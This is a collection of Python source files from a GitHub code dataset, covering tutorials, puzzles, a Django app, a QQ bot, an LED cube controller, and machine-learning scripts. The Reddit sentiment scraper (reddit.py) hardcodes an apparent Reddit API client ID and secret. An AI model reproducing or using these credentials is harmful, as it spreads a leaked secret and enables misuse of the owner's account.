\"f}\").format(self.x, self.y, self.r)\n\n def area(self):\n \"\"\" area of circle \"\"\"\n return self.r ** 2 * math.pi\n\n def perimeter(self):\n \"\"\" perimeter of circle \"\"\"\n return 2 * self.r * math.pi\n\nif __name__ == \"__main__\":\n # test\n c1 = Circle()\n print(c1)\n print(\"area: {}\".format(c1.area()))\n print(\"perimeter: {}\".format(c1.perimeter()))\n c1 += Point(10,20)\n print(c1)\n c1 = c1 + Point(10,20)\n print(c1)\n","repo_name":"OSGeoLabBp/tutorials","sub_path":"hungarian/python/code/circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"30415138938","text":"import turtle\nimport time\ns = turtle.Screen()\n# s.register_shape(\"my_shape\", ((5, 0), (5, 5), (0, 5), (0, 0)))\ns.register_shape(\"strawberry.gif\")\np = turtle.Pen()\n# p.speed('fastest')\n# p.speed('fast')\n# p.speed('normal')\n# p.speed('slow')\n# p.speed('slowest')\n# 'arrow', 'turtle', 'circle', 'square', 'triangle', 'classic'\n# p.shape('my_shape')\n# p.shape('strawberry.gif')\n# p.shapesize(3)\n# p.ht()\n\n# p.fd(120)\n# p.lt(90)\n\n# time.sleep(1)\n\n# p.fd(120)\n# p.lt(90)\n# time.sleep(1)\n\n# p.fd(120)\n# p.lt(90)\n# time.sleep(1)\n\n# p.fd(120)\n# p.lt(90)\n\n\n# draw a circle\n# p.penup()\n# p.goto(20, -50)\n# p.setpos(20,-50)\n# p.setposition(20,-50)\n# p.pendown()\n# p.circle(50)\np.pensize(4)\np.setheading(45)\np.fd(100)\np.pencolor('gray')\np.seth(180)\np.forward(100)\n# p.seth(270)\np.pencolor('brown')\n# p.fd(100)\np.goto(0, 0)\n# p.home()\n\ns.exitonclick()\n\n# exercise draw a pentagon\n","repo_name":"mostafa-sadeghi/dorna_rostamzade","sub_path":"past/turtle_2.py","file_name":"turtle_2.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39656572244","text":"x=0\nfor num in range(2,1000000000):\n prime = True\n for i in range(2,num):\n if (num%i==0):\n prime = False\n if prime:\n x+=1\n if x==10001:\n break\n\nprint(num)\n\n\n","repo_name":"rahulj1601/Python","sub_path":"Project Euler/P7.py","file_name":"P7.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73768626920","text":"import pandas as pd\r\nimport os\r\nimport librosa\r\nimport librosa.display\r\nimport numpy as np\r\nimport IPython.display as ipd\r\nimport matplotlib.pyplot as plt\r\nfrom python_speech_features import mfcc\r\n\r\ndef frame_split(signal, duration, fs, step):#\r\n # 输入 signal:原始音频信号,一维numpy数组\r\n # duration:每帧时长,单位s 建议与mfcc配合\r\n # fs:输入音频信号的采样频率\r\n # step:帧移,百分比小数\r\n # 输出 out:二维矩阵,axis=0方向是帧数,末尾不足以组成一帧的舍去\r\n length = int(duration * fs) # 每帧采样点数\r\n step = int(step * length) # 帧移(按采样点数计)\r\n print(\"length:\",length,\",step:\",step)\r\n if signal.shape[0] < length:\r\n print('长度过短,不足以组成一帧,已沿1轴重复')\r\n signal = np.tile(signal, (length // signal.shape[0] + 1))\r\n index = length\r\n num = 0 # 用来累积帧数\r\n while index <= signal.shape[0]:\r\n if num == 0: # 第一次时特殊处理\r\n out = signal[index - length:index]\r\n else: # 后续直接vstack\r\n out = np.vstack((out, signal[index - length:index])) # 取出一帧\r\n index += step\r\n num += 1\r\n return out\r\n\r\n\r\nfile_name=\"D:/毕设相关/2021.5西电实验/data/wav格式2通道/电流/40.wav\"\r\nsr=44100\r\noffset=0.1\r\nduration=5\r\nmono=True\r\n\r\nsample=librosa.load(file_name,sr,offset,duration, mono=True)[0]\r\nprint(\"sample:\",sample)\r\nprint(\"sample.shape:\",sample.shape)\r\n\r\n\r\n# audio_data, sampling_rate = librosa.load(file_name,sr=44100,offset=0.1,duration=5, mono=True)\r\n# print(\"audio_data:\",audio_data)\r\n# print(\"audio_data.shape:\",audio_data.shape)\r\n# print(\"sampling_rate:\",sampling_rate)\r\n#如果y.shape样式为(2,n)则是立体声,如果是(n,)则是单声道\r\n\r\n# mfccs = librosa.feature.mfcc(y=audio_data, sr=sampling_rate, n_mfcc=40)\r\n# print(mfccs)\r\nsignal_frames = frame_split(sample, 0.4, sr, 0.4) # 400ms帧长,40%重叠率\r\nprint(\"signal_frames:\",signal_frames[0])\r\nsignal_mfcc = np.array([mfcc(frame,numcep=26,nfilt=52,samplerate=sr,winlen=0.04,winstep=0.02,nfft=2048,\r\n lowfreq=50,highfreq=20000,preemph=0,appendEnergy=False)\r\n for frame in signal_frames]) # 40ms帧长,20ms帧移 注意nfft点数与帧长的配合建议nfft=winlen*fs \r\nmfccs = np.array([librosa.feature.mfcc(y=frame, sr=sr, n_mfcc=26) for frame in signal_frames])\r\nprint(\"signal_mfcc:\",signal_mfcc[0])\r\nprint(\"mfcc:\",mfccs)\r\n","repo_name":"JiayingShentu/audioClassification","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22006922549","text":"import json\n\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom utils.utility import get_cleaned_data\n\nfrom .forms import CountryForm, UploadForm\nfrom .models import Country\n\n# Create your views here.\n\n\ndef home(request):\n\treturn render(request, \"countries/home.html\", context={})\n\n\ndef add_country(request):\n\ttry:\n\t\tcountry = Country()\n\t\tif request.method == \"POST\":\n\t\t\tform = CountryForm(request.POST, instance=country)\n\t\t\tif form.is_valid():\n\t\t\t\tform.save()\n\t\t\t\treturn HttpResponseRedirect(reverse('home', args=()))\n\t\t\telse:\n\t\t\t\tform = CountryForm(instance=country)\n\t\t\t\treturn render(request, \"countries/add_country.html\", context={\"form\": form})\n\t\telse:\n\t\t\tform = CountryForm(instance=country)\n\t\t\treturn render(request, \"countries/add_country.html\", context={\"form\": form})\n\texcept Exception as e:\n\t\tmessage = f\"{e}\"\n\t\tmessages.error(request, message)\n\t\treturn HttpResponseRedirect(\"../\")\n\n\ndef upload(request):\n\ttry:\n\t\tform = UploadForm()\n\t\tif request.method == \"POST\":\n\t\t\tform = UploadForm(request.POST)\n\t\t\tdata = json.load(request.FILES[\"geojson_file\"])[\"features\"]\n\t\t\tdata = get_cleaned_data(data)\n\t\t\tCountry.objects.bulk_create(data, batch_size=100)\n\t\t\tmessages.success(request, \"success\")\n\t\treturn render(request, \"countries/upload.html\", context={\"form\": form})\n\texcept Exception as e:\n\t\tmessage = f\"{e}\"\n\t\tmessages.error(request, message)\n\t\treturn HttpResponseRedirect(\"../upload\")","repo_name":"PriyanshBordia/Spatial-Data-using-FastAPI","sub_path":"spatial_data/countries/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"33478995142","text":"import praw\nimport requests\nimport json\nimport time\nimport datetime\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\n\nAPI_ID = \"e2blytTS1phtD2kA3fnBJw\"\nAPI_SECRET = \"NLNASujjlQ4scv6SJfb2QCDoLsojJw\"\nAPI_AGENT = \"hackdownproject\"\n\nSUB = \"cscareerquestions\"\nQUERY = \"Daily Chat Thread\"\n\ndef get_pushshift_data(query, after, before, sub):\n url = 'https://api.pushshift.io/reddit/search/submission/?title='+str(query)+'&size=1000&after='+str(after)+'&before='+str(before)+'&subreddit='+str(sub)\n r = requests.get(url)\n try:\n data = json.loads(r.text)\n except json.decoder.JSONDecodeError:\n return []\n return data['data']\n\ndef parse_post_data(post):\n data = {\n 'id': post['id'],\n 'title': post['title'],\n 'url': post['url'],\n 'created_utc': datetime.datetime.fromtimestamp(post['created_utc']).date(),\n }\n try:\n flair = post['link_flair_text']\n except KeyError:\n flair = 'NaN'\n data['flair'] = flair\n return data\n\ndef scrape(after_timestamp: float, before_timestamp: float, keyword: str) -> list:\n before = int(before_timestamp)\n after = int(after_timestamp)\n data = get_pushshift_data(QUERY, after, before, SUB)\n\n post_data = []\n while len(data) > 0:\n for post in data:\n post_data.append(parse_post_data(post))\n after = data[-1]['created_utc']\n data = get_pushshift_data(QUERY, after, before, SUB)\n \n reddit = praw.Reddit(client_id=API_ID, client_secret=API_SECRET, user_agent=API_AGENT)\n\n comments_by_day = []\n for post in post_data:\n try:\n submission = reddit.submission(url=post['url'])\n submission.comments.replace_more(limit=0)\n comments = list([(comment.body.lower()) for comment in submission.comments])\n except:\n comments = []\n comments_by_day.append({'time': post['created_utc'], 'comments': comments})\n \n analyzer = SentimentIntensityAnalyzer()\n scores = []\n for daily_comments in comments_by_day:\n sentiment_score = 0\n try:\n for comment in daily_comments['comments']:\n if keyword in comment:\n sentiment_score += analyzer.polarity_scores(comment)['compound']\n except TypeError:\n sentiment_score = 0\n \n scores.append((daily_comments['time'], sentiment_score))\n \n return scores\n\nif __name__ == \"__main__\":\n print(scrape(1628902090, time.time(), \"google\"))\n","repo_name":"foltik/hackdown","sub_path":"backend/src/scrape/reddit.py","file_name":"reddit.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43561688108","text":"import prep\nimport torchvision\nimport torch\nimport time\nimport torchvision.transforms as transforms\n\n\ntraindir = \"/data/pytorch-imagenet-data/train/\"\n\ndef fakeloader(path):\n return [0]\n\nnormalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\ntransform = transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ])\n\ntrain_dataset = torchvision.datasets.ImageFolder(traindir,transform=transform)\n\n\n\ncount = 0\nend = time.time()\nwith open(\"loading/pytorch-realdataset-\"+str(prep.worker)+\".txt\",\"w\") as f:\n for i, (input, target) in enumerate(train_dataset):\n if i % prep.batch_size == 0:\n # print(input)\n cost = time.time()-end\n end = time.time()\n if prep.sleep:\n time.sleep(prep.sleep_time)\n print(cost, \"\\t\", prep.batch_size/cost, sep=\"\", file=f)\n count += 1\n if count == prep.limit:\n break","repo_name":"gpzlx1/dataloading","sub_path":"src/pytorch-loading/dataset-test.py","file_name":"dataset-test.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37300871824","text":"class Solution:\n def minMoves2(self, nums: List[int]) -> int:\n n = len(nums)\n nums.sort()\n p = [0]\n for el in nums:\n p.append(p[-1] + el)\n mindels = float('inf')\n for i in range(1, n + 1):\n currdels = nums[i - 1] * (2 * i - n) - 2 * p[i]\n mindels = min(mindels, currdels)\n return mindels + p[-1]","repo_name":"theabbie/leetcode","sub_path":"minimum-moves-to-equal-array-elements-ii.py","file_name":"minimum-moves-to-equal-array-elements-ii.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"20922736959","text":"import asyncio\nimport websockets\nimport json\nimport re\nfrom JsonManager import JsonManager\nfrom JsonManager.customerInfoManager import *\n\nrobot_qq = JsonManager.getConfig()[\"robot_qq\"]\n\ndef message_manager(data):\n # 1 命令 (群聊中艾特 或 私聊)\n return command_check(data)\n\n # 2 互动\n # 2.1 搞点东西\n\ndef command_check(data):\n command = \"\"\n if data[\"message_type\"] == \"group\":\n mo = re.match(r'\\[CQ:at,qq=([0-9]+)\\]\\s(.*)', data[\"message\"])\n if mo and mo.group(1) == robot_qq:\n command = mo.group(2)\n print(\"[command_check] \", command)\n elif data[\"message_type\"] == \"private\":\n command = data[\"message\"]\n else:\n return\n\n # 校验命令\n matchobj = re.match(r'^(find|delete)\\s?(user|manager)\\s([0-9]+)$', command)\n if matchobj:\n return command_manager(matchobj.group(1), matchobj.group(2), [matchobj.group(3)])\n\n matchobj = re.match(r'^(create|update)\\s?(user|manager)\\s([0-9]+)\\s(\\S+)\\s([0-9]+)$', command)\n if matchobj:\n return command_manager(matchobj.group(1), matchobj.group(2), [matchobj.group(3), matchobj.group(4), matchobj.group(5)])\n\nasync def server(websocket):\n async for message in websocket:\n data = json.loads(message)\n if data.get('post_type', None) and data['post_type'] == 'message':\n print(\"[server] \", data)\n ret = message_manager(data)\n print(\"[server] ret=\", ret)\n\nasync def main():\n async with websockets.serve(server, \"localhost\", 9876):\n await asyncio.Future()\n","repo_name":"yukinorong/dota2_bot","sub_path":"WebSocket/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38364051353","text":"T=input()\r\ndic={}\r\nfor t in range(int(T)):\r\n\tarr=input().split()\r\n\ta=arr[0]\r\n\tif a not in dic:\r\n\t\tdic[a]=1\r\n\telse:\r\n\t\tdic[a]+=1\r\nans=sorted(dic.items(),key=lambda x:x[1])\r\nans=sorted(ans,key=lambda x:x[0])\r\nfor x,y in ans:\r\n\tprint('{} {}'.format(x,y))","repo_name":"Nickqq627/CPE","sub_path":"CPE/done/(lambda)10420 - List of Conquests.py","file_name":"(lambda)10420 - List of Conquests.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25600813735","text":"test_case = [[\"홍콩\", \"11PM\", \"9AM\"], [\"엘에이\", \"3PM\", \"2PM\"]]\n\ndef solution(time, plans):\n friday_checkout_time = 18\n monday_checkin_time = 13\n travel_country = []\n\n for plan in plans:\n depart_time = int(plan[1][:-2])\n need_time_for_friday = (depart_time + (12 if plan[1].find(\"PM\") > 0 else 0)) - friday_checkout_time\n\n arrive_time = int(plan[2][:-2])\n need_time_for_monday = monday_checkin_time - (arrive_time + (12 if plan[2].find(\"PM\") > 0 else 0))\n\n if time + (need_time_for_friday + need_time_for_monday) >= 0:\n travel_country.append(plan[0])\n return travel_country\n\n\nprint(solution(3.5, test_case))\n\n# 12:00 P.M 경우\n# 금요일에 일찍 출발 하는 경우","repo_name":"joong8812/baekjoon-for-algorithm","sub_path":"baemin/q_1217.py","file_name":"q_1217.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"75056805479","text":"#Jogo do par ou impar\r\n\r\nimport random\r\nvit = 0\r\nprint('Vamos jogar par ou impar.')\r\nwhile True:\r\n num = int(input('Digite um número: '))\r\n esc = int(input('Digite\\n1-Par\\n2-Impar\\n:'))\r\n if esc == 1:\r\n esc1 = 'Par'\r\n else:\r\n esc1 = 'Impar'\r\n numpc = random.randint(0, 5)\r\n soma = num + numpc\r\n #if soma % 2 == 0:\r\n pi = 'Par' if soma % 2 == 0 else 'Impar'\r\n #else:\r\n #pi = 'Impar'\r\n print(f'Você digitou o número {num} e escolheu {esc1}\\nEu escolhi o número {numpc}\\n{num} + {numpc} é {pi}')\r\n if esc == 1 and soma % 2 != 0 or esc == 2 and soma % 2 == 0:\r\n print('Você perdeu.')\r\n break\r\n vit += 1\r\n print('Você ganhou, vamos jogar novamente!')\r\nprint(f'Você ganhou {vit} vezes.')\r\n","repo_name":"deadpoetic/Curso-python","sub_path":"ex68.py","file_name":"ex68.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38896181705","text":"#!/usr/bin/env python\n\n\"\"\"This module is responsible for managing the LED cube in real time.\"\"\"\n\nimport RPi.GPIO as GPIO\nimport requests\nimport threading\n\nimport import_from_root\nfrom src.shift_register import ShiftRegister\nfrom src.loop_rate import LoopRate\n\n\nclass OnlineDisplay(threading.Thread):\n \"\"\"\n This class displays the given sequence until it receives a new one.\n \"\"\"\n\n __shift_register: ShiftRegister = None\n \"\"\"Stores ShiftRegister\"\"\"\n\n __loop_rate: LoopRate = None\n \"\"\"Stores LoopRate to cube\"\"\"\n\n __loop_rate2: LoopRate = None\n \"\"\"Stores LoopRate to thread\"\"\"\n\n __data: list = None\n \"\"\"Data to display\"\"\"\n\n __working: bool = None\n \"\"\"Stops the thread\"\"\"\n\n def __init__(self, number_of_shift_registers: int = 4, cube_loop_rate: int = 300, data_getter_rate: int = 10) -> None:\n \"\"\"\n This constructor loads all private data.\n\n :param number_of_shift_registers: int | Number of shift registers\n :return: None\n \"\"\"\n self.__shift_register = ShiftRegister(number_of_shift_registers)\n self.__loop_rate = LoopRate(cube_loop_rate)\n self.__loop_rate2 = LoopRate(data_getter_rate)\n self.__working = True\n threading.Thread.__init__(self)\n\n def run_cube(self) -> None:\n \"\"\"\n This function takes one sequence and displays it until it gets a new one.\n\n :return: None\n \"\"\"\n self.__data = self.__get_data_from_web()\n while True:\n for i in range(5):\n level = \"00000\"\n level = level[:-(i + 1)] + '1' + level[-(i + 1):-1]\n self.__shift_register.run(level + self.__data[i] + '00')\n self.__loop_rate.slow_loop()\n\n def run(self) -> None:\n \"\"\"\n This function acts as a second thread and gets data from the web server and writes it to the variable data.\n\n :return: None\n \"\"\"\n while self.__working:\n self.__data = self.__get_data_from_web()\n self.__loop_rate2.slow_loop()\n\n @staticmethod\n def __get_data_from_web() -> list:\n \"\"\"\n This function gets data from web server.\n\n :return: list | Data to display\n \"\"\"\n response = requests.get('http://192.168.1.184:5000/get/data/').json()['data']\n if not response:\n response = [\n '0000000000000000000000000',\n '0000000000000000000000000',\n '0000000000000000000000000',\n '0000000000000000000000000',\n '0000000000000000000000000',\n ]\n return response\n\n def stop(self):\n self.__working = False\n","repo_name":"Miklakapi/Raspberry_LED_Cube","sub_path":"web_editor/real_time_display.py","file_name":"real_time_display.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36985092794","text":"lines = []\n\nwith open(\"input.txt\", \"r\") as ins:\n for line in ins:\n lines.append([int(x) for x in line.strip().split(\"\\t\")])\n\nprint(sum([max(x) - min(x) for x in lines]))\n\n# Part 2\n\ndef find_evenly_divisible(l):\n for i, x in enumerate(l):\n for i2, x2 in enumerate(l):\n if i == i2:\n continue\n\n if x % x2 == 0:\n return int(x/x2)\n\nprint(sum([find_evenly_divisible(x) for x in lines]))","repo_name":"blitzmann/adventofcode","sub_path":"2017/day2/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73418567720","text":"import random\n\nclass BinaryTreeBST:\n def __init__(self):\n self.root = None\n\n def size(self):\n return self._size(self.root)\n\n def _size(self, node):\n return 0 if node is None else node.size\n\n def find(self, key):\n return self._find(self.root, key)\n\n def _find(self, node, key):\n if node is None: return None\n if key == node.key:\n return node\n elif key < node.key:\n return self._find(node.left, key)\n else:\n return self._find(node.right, key)\n\n def insert(self, key):\n self.root = self._insert(self.root, key)\n\n def _insert(self, node, key):\n if node is None: return TreeNode(key)\n if key <= node.key:\n node.left = self._insert(node.left, key)\n else:\n node.right = self._insert(node.right, key)\n node.size = 1 + self._size(node.left) + self._size(node.right)\n return node\n\n def delete(self, key):\n self.root = self._delete(self.root, key)\n\n def _delete(self, node, key):\n if node is None: return None\n if key == node.key:\n if node.left is None: return node.right\n if node.right is None: return node.left\n x = self.min(node.right)\n x.right = self._delete_min(node.right)\n x.left = node.left\n node = x\n elif key < node.key:\n self.left = self._delete(self.left, key)\n else:\n self.right = self._delete(self.right, key)\n node.size = 1 + self._size(node.left) + self._size(node.right)\n return node\n\n def delete_min(self):\n if self.root is None: return\n self.root = self._delete_min(self.root)\n\n def _delete_min(self, node):\n if node.left is None: return node.right\n node.left = self._delete_min(self.left)\n node.size = 1 + self._size(node.left) + self._size(node.right)\n return node\n\n def min(self):\n node = self.root\n if node is None: return None\n while node.left:\n node = node.left\n return node\n\n # time: O(log n)\n def random(self):\n rank = random.randint(0, self.size() - 1)\n return self.select(rank), rank\n\n def select(self, rank):\n return self._select(self.root, rank)\n\n def _select(self, node, rank):\n if node is None: return None\n\n leftsize = self._size(node.left)\n if rank == leftsize:\n return node\n elif rank < leftsize:\n return self._select(node.left, rank)\n else:\n return self._select(node.right, rank - leftsize - 1)\n \n # time: O(n)\n def random2(self):\n n = random.randint(0, self.size() - 1)\n counter = [n, None]\n self._inorder(self.root, counter)\n return counter[1], n\n\n def _inorder(self, node, counter):\n if node is None: return\n self._inorder(node.left, counter)\n counter[0] -= 1\n if counter[0] < 0:\n if not counter[1]:\n counter[1] = node\n return \n self._inorder(node.right, counter)\n\n\nclass TreeNode:\n def __init__(self, key):\n self.key = key\n self.left = None\n self.right = None\n self.size = 1\n\n def __str__(self):\n return str(self.key)\n\nfrom binary_tree import BinaryTree\ntree = BinaryTreeBST()\nfor key in [5, 7, 4, 2, 6, 8, 1, 10, 3, 9, 4, 5, 6, 9]:\n tree.insert(key)\nBinaryTree.print(tree.root, format=True)\n\nprint(*tree.random())\nprint(*tree.random2())","repo_name":"derek-dkliu/pydsa","sub_path":"trees/random_node.py","file_name":"random_node.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28975391835","text":"import tensorflow as tf\nimport tensorflow_hub as hub\n\ndef fetch_universal_sentence_embeddings(messages, verbose=0):\n \"\"\"Fetches universal sentence embeddings from Google's\n research paper https://arxiv.org/pdf/1803.11175.pdf.\n \n INPUTS:\n RETURNS:\n \"\"\"\n module_url = \"https://tfhub.dev/google/universal-sentence-encoder/2\" #@param [\"https://tfhub.dev/google/universal-sentence-encoder/2\", \"https://tfhub.dev/google/universal-sentence-encoder-large/3\"]\n\n # Import the Universal Sentence Encoder's TF Hub module\n embed = hub.Module(module_url)\n\n with tf.Session() as session:\n session.run([tf.global_variables_initializer(), tf.tables_initializer()])\n message_embeddings = session.run(embed(messages))\n embeddings = list()\n for i, message_embedding in enumerate(np.array(message_embeddings).tolist()):\n if verbose:\n print(\"Message: {}\".format(messages[i]))\n print(\"Embedding size: {}\".format(len(message_embedding)))\n message_embedding_snippet = \", \".join(\n (str(x) for x in message_embedding[:3]))\n print(\"Embedding: [{}, ...]\\n\".format(message_embedding_snippet))\n embeddings.append(message_embedding)\n return embeddings\n\nembeddings = fetch_universal_sentence_embeddings(txt)\n","repo_name":"paulmattheww/utilities","sub_path":"fetch_universal_sentence_embeddings.py","file_name":"fetch_universal_sentence_embeddings.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3346836400","text":"import os\nimport sys \nimport csv\nimport matplotlib.pyplot as plt\nplt.ion()\nimport numpy as np \nimport tensorflow as tf\nfrom tensorflow.python.framework import ops\nfrom sklearn.model_selection import StratifiedShuffleSplit\nimport datetime\nimport logging\nimport klib as kl\n\n\n''' RUN THE NEURAL NETWORK '''\ndef RunNN(x_data, y_data, epochs, prng_seed = 0, trainPerc = 0.95, devePerc = 0.05,\\\n learn_rate = 1.0, learn_rate_decay = 0.0, regulRate = 0.5, batch_size = 100, num_cdmp_actors = 4,\\\n hiddenLayerWs = [1.5,1.0], optimMeth = 'GD', optimBetas=[0.0,0.0], dropoutKeep = 1.0, scenName = 'noname'):\n # create the integer decoded version of y - this is only needed for\n # calculation of the performance metrics\n y_decode = np.argmax(y_data,axis=1)\n # variable counts\n num_data_col = x_data.shape[1]\n num_choice_col = y_data.shape[1]\n # ---------------------------------------------\n #%%\n sys.stdout.flush()\n stime = datetime.datetime.now()\n logging.info(\"RunNN start time: \" + datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\n logging.info('Scenario: '+scenName)\n sys.stdout.flush()\n sys.stdout.flush()\n \n prng_seed = kl.set_prngs(prng_seed)\n \n ops.reset_default_graph()\n sess = tf.Session()\n \n # prepare log dir, if necessary\n try:\n os.mkdir(os.getcwd()+'/log')\n except FileExistsError:\n pass\n \n # ---------------------------------------------\n #%%\n # use sklearn to perform stratified randomized partitioning into training and dev sets\n # this is necessary because the vehicle choice dataset is very unbalanced\n sss = StratifiedShuffleSplit(n_splits=1, train_size=trainPerc, test_size = devePerc)\n train_indices,deve_indices = next(sss.split(x_data, y_data))\n num_train_rows = len(train_indices) # need this later on\n # create the patitions\n x_vals_train = x_data[train_indices,:]\n y_vals_train = y_data[train_indices,:]\n y_dec_train = y_decode[train_indices]\n \n x_vals_deve = x_data[deve_indices,:]\n y_vals_deve = y_data[deve_indices,:]\n y_dec_deve = y_decode[deve_indices]\n \n logging.info(\"num_train_rows: %u, num_deve_rows: %u\" %(num_train_rows, len(deve_indices)))\n \n # ---------------------------------------------\n #%%\n # setup training\n a_stdv = 0.1 # standard dev. for initialization of node weights\n modelType = ['NN','KT'][num_cdmp_actors > 0]\n logging.info(\"num_cdmp_actors: %u\" % num_cdmp_actors)\n \n # nodes per layer - first is the number of features, last is always the number\n # of categories C being predicted\n layerWidths = [num_data_col]\n layerWidths.extend([int(round(num_data_col*i,0)) for i in hiddenLayerWs])\n layerWidths.append(num_choice_col)\n hidden_layers = len(layerWidths)-2 # number hidden layers\n keepProb = tf.placeholder(tf.float32) # placeholder for dropout\n learnRate = tf.placeholder(tf.float32) # placeholder for adaptive learning rate\n \n with tf.name_scope('HyperParms'):\n lr = tf.constant(learn_rate)\n ld = tf.constant(learn_rate_decay)\n la = tf.constant(regulRate)\n bs = tf.constant(batch_size)\n ne = tf.constant(epochs['epochMax'])\n dp = tf.constant(devePerc)\n hl = tf.constant(hidden_layers)\n mt = tf.constant(num_cdmp_actors)\n om = tf.constant(['GD','RMSPROP','ADAM'].index(optimMeth))\n b1 = tf.constant(optimBetas[0])\n b2 = tf.constant(optimBetas[1])\n dk = tf.constant(dropoutKeep)\n # summaries\n parmSumm = tf.summary.merge([tf.summary.scalar('learn_rate', lr),\\\n tf.summary.scalar('learn_rate_decay',ld),tf.summary.scalar('regul_rate', la),\\\n tf.summary.scalar('minibatch_size',bs),tf.summary.scalar('epochs',ne),\\\n tf.summary.scalar('dev_set_size',dp),tf.summary.scalar('hidden_layers',hl),\\\n tf.summary.scalar('num_cdmp_actors',mt),tf.summary.scalar('optim_method',om),\\\n tf.summary.scalar('optim_beta1',b1),tf.summary.scalar('optim_beta2',b2),\\\n tf.summary.scalar('dropout_keep',dk)])\n \n # talk some\n logging.info('Hyperparameters\\n\\tlearning rate: %0.2f(%0.2f)\\n\\tregularization rate: %0.2f\\n\\tminibatch size: %u\\n\\tnumber epochs: %d\\n\\thidden layers: %d\\n\\tCDMP actors: %d\\n\\toptim. method: %s(%0.2f,%0.2f)\\n\\tdropout keep: %0.2f'\\\n %(learn_rate,learn_rate_decay,regulRate,batch_size,epochs['epochMax'],hidden_layers,num_cdmp_actors,optimMeth,optimBetas[0],optimBetas[1],dropoutKeep))\n \n # create the logfile prefix\n log_file_name = 'log_%s%04d_%s_%s_%05d_%s_%d'%(modelType,hidden_layers,scenName,optimMeth,epochs['epochMax'],stime.strftime('%Y%m%d_%H%M%S'),prng_seed)\n \n # ---------------------------------------------\n #%%\n # number of rows could be batch_size, num_rows_train, or num_rows_deve.\n # So we mark it as None, which really means variable-size\n with tf.name_scope('Input'):\n x_data = tf.placeholder(shape=[None, num_data_col], dtype=tf.float32,name='X')\n y_trgt = tf.placeholder(shape=[None, num_choice_col], dtype=tf.float32,name='Y')\n y_dec = tf.placeholder(shape=[None,], dtype=tf.float32,name='Ydecode')\n yhat_dec = tf.placeholder(shape=[None, ], dtype=tf.float32,name='Yhatdecode') \n \n logging.info(\"x_data shape: %s\" % str(x_data.shape))\n logging.info(\"y_trgt shape: %s\" % str(y_trgt.shape))\n \n # ---------------------------------------------\n #%%\n # build each of the layers\n lRng = range(1,len(layerWidths))\n ids = dict.fromkeys(lRng,0.0)\n layerParams = {'A':ids,'b':ids.copy()}\n layerActivs = [None]*(hidden_layers+2) #[0] is an unused placeholder for the data\n for i in lRng:\n # define the scope name\n if (i == (hidden_layers+1)) and (num_cdmp_actors > 0):\n nam = 'CDMP'\n else:\n nam = 'Layer%d'%i\n \n with tf.name_scope(nam):\n # create the variables for the node parameters\n if (i == (hidden_layers+1)) and (num_cdmp_actors > 0):\n # map final hidden layer to the influences vector\n Aw = tf.Variable(tf.random_normal(shape=[layerWidths[i-1], num_cdmp_actors],\\\n mean=0.0, stddev=a_stdv))\n logging.info(\"Aw shape: %s\" % str(Aw.shape))\n # NOTE WELL: we do not \"learn\" on wghts.\n wghts = tf.matmul(layerActivs[i-1], Aw)\n logging.info(\"wghts shape: %s\" % str(wghts.shape))\n # wghts have shape [batch_size, num_cdmp_actors], so there is one vector\n # (1 dim) for each household in this batch\n \n # map final hidden layer to the utilities matrix\n Au = tf.Variable(tf.random_normal(shape=[layerWidths[i-1], num_cdmp_actors,\\\n num_choice_col], mean=0.0, stddev=a_stdv))\n logging.info(\"Au shape: %s\" % str(Au.shape)) \n # NOTE WELL: we do not \"learn\" on utils.\n utils = tf.tensordot(layerActivs[i-1], Au, axes = [[1], [0]])\n logging.info(\"utils shape: %s\" % str(utils.shape)) \n # utils have shape [batch_size, num_cdmp_actors, num_choice_col], so\n # there is one matrix (2 dim) for each household in this batch\n else:\n layerParams['A'][i] = 